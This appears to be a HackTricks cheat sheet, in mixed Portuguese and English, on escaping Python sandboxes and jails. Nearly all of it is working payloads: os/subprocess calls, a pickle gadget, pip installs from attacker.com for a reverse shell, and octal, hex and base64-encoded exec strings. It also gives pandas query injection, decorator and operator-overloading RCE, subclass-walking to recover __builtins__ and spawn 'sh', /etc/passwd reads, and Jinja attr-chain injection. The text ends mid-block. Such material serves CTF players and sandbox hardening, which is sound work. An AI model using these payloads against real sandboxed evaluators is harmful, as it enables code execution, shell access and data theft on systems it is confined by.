Bypass Python sandboxes

Reading time: 40 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Estas são algumas técnicas para contornar as proteções de sandbox do python e executar comandos arbitrários.

Bibliotecas de execução de comandos

A primeira coisa que você precisa saber é se pode executar código diretamente com alguma biblioteca já importada, ou se pode importar qualquer uma destas bibliotecas:

python
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Lembre-se que as funções open e read podem ser úteis para read files dentro do python sandbox e para write some code que você poderia execute para bypass o sandbox.

[!CAUTION] > A função Python2 input() permite executar código python antes que o programa trave.

Python tenta carregar bibliotecas do diretório atual primeiro (o comando a seguir vai imprimir de onde o python está carregando os módulos): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with the default installed python packages

Pacotes padrão

Você pode encontrar uma lista de pacotes pré-instalados aqui: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Observe que a partir de um pickle você pode fazer com que o ambiente python importar bibliotecas arbitrárias instaladas no sistema.
Por exemplo, o seguinte pickle, quando carregado, irá importar a biblioteca pip para usá-la:

python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Para mais informações sobre como o pickle funciona, veja isto: https://checkoway.net/musings/pickle/

Pacote pip

Truque compartilhado por @isHaacK

Se você tiver acesso a pip ou pip.main() você pode instalar um pacote arbitrário e obter um reverse shell chamando:

bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Você pode baixar o pacote para criar a reverse shell aqui. Observe que, antes de usá-lo, você deve descompactá-lo, alterar o setup.py e colocar seu IP para a reverse shell:

tip

Este pacote chama-se Reverse. Entretanto, ele foi especialmente criado de modo que, quando você sair da reverse shell, o restante da instalação irá falhar, então você não deixará nenhum pacote python extra instalado no servidor quando sair.

Usando eval em código python

warning

Note que exec permite strings multilinha e ";", mas eval não (verifique walrus operator)

Se certos caracteres forem proibidos, você pode usar a representação hex/octal/B64 para bypass a restrição:

python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Outras bibliotecas que permitem avaliar código Python

python
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Veja também uma evasão real de sandboxed evaluator em geradores de PDF:

  • ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcançar function.globals e os.system a partir de atributos avaliados (por exemplo, cor da fonte) e retorna um valor válido para manter a renderização estável.

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733

Operadores e truques rápidos

python
# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Contornando proteções por codificações (UTF-7)

Em this writeup UFT-7 é usado para carregar e executar código python arbitrário dentro de um aparente sandbox:

python
assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

Também é possível contorná-lo usando outras codificações, por exemplo raw_unicode_escape e unicode_escape.

Python: execução sem chamadas

Se você estiver dentro de uma python jail que não permite que você faça chamadas, ainda há algumas maneiras de executar funções arbitrárias, código e comandos.

RCE com decorators

python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE criando objetos e sobrecarga

Se você puder declarar uma classe e criar um objeto dessa classe, você pode escrever/sobrescrever diferentes métodos que podem ser acionados sem precisar chamá-los diretamente.

RCE com classes customizadas

Você pode modificar alguns métodos de classe (sobrescrevendo métodos de classe existentes ou criando uma nova classe) para fazê-los executar código arbitrário quando forem acionados sem chamá-los diretamente.

python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Criando objetos com metaclasses

O ponto principal que as metaclasses nos permitem fazer é criar uma instância de uma classe, sem chamar diretamente o construtor, criando uma nova classe com a classe alvo como metaclass.

python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Criando objetos com exceções

Quando uma exceção é acionada um objeto da Exception é criado sem que você precise chamar o construtor diretamente (um truque de @_nag0mez):

python
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Mais RCE

python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Ler arquivo com builtins help & license

python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

Se você conseguir acessar o objeto __builtins__ você pode importar bibliotecas (observe que você também poderia usar aqui outra representação em string mostrada na última seção):

python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

When you don't have __builtins__ you are not going to be able to import anything nor even read or write files as all the global functions (like open, import, print...) aren't loaded.
No entanto, por padrão python importa muitos módulos na memória. Esses módulos podem parecer benignos, mas alguns deles também importam funcionalidades perigosas internamente que podem ser acessadas para obter até arbitrary code execution.

Nos exemplos a seguir você pode observar como abusar de alguns desses módulos "benign" carregados para acessar funcionalidades perigosas dentro deles.

Python2

python
#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Below there is a bigger function para encontrar dezenas/centenas de locais onde você pode encontrar os builtins.

Python2 and Python3

python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Payloads de Builtins

python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Verificar os globals e locals é uma boa maneira de saber o que você pode acessar.

python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Below there is a bigger function para encontrar dezenas/centenas de lugares onde você pode encontrar os globals.

Descobrir Execução Arbitrária

Aqui quero explicar como descobrir facilmente funcionalidades mais perigosas carregadas e propor exploits mais confiáveis.

Acessando subclasses com bypasses

Uma das partes mais sensíveis desta técnica é ser capaz de acessar as subclasses da base. Nos exemplos anteriores isso foi feito usando ''.__class__.__base__.__subclasses__() mas existem outras maneiras possíveis:

python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Encontrando bibliotecas perigosas carregadas

Por exemplo, sabendo que com a biblioteca sys é possível importar bibliotecas arbitrárias, você pode procurar por todos os módulos carregados que importaram sys em seu interior:

python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Há muitos, e só precisamos de um para executar comandos:

python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Podemos fazer a mesma coisa com outras bibliotecas que sabemos que podem ser usadas para executar comandos:

python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Além disso, poderíamos até pesquisar quais módulos estão carregando bibliotecas maliciosas:

python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

Além disso, se você achar que outras bibliotecas podem ser capazes de invocar funções para executar comandos, também podemos filtrar pelos nomes das funções dentro das bibliotecas possíveis:

python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
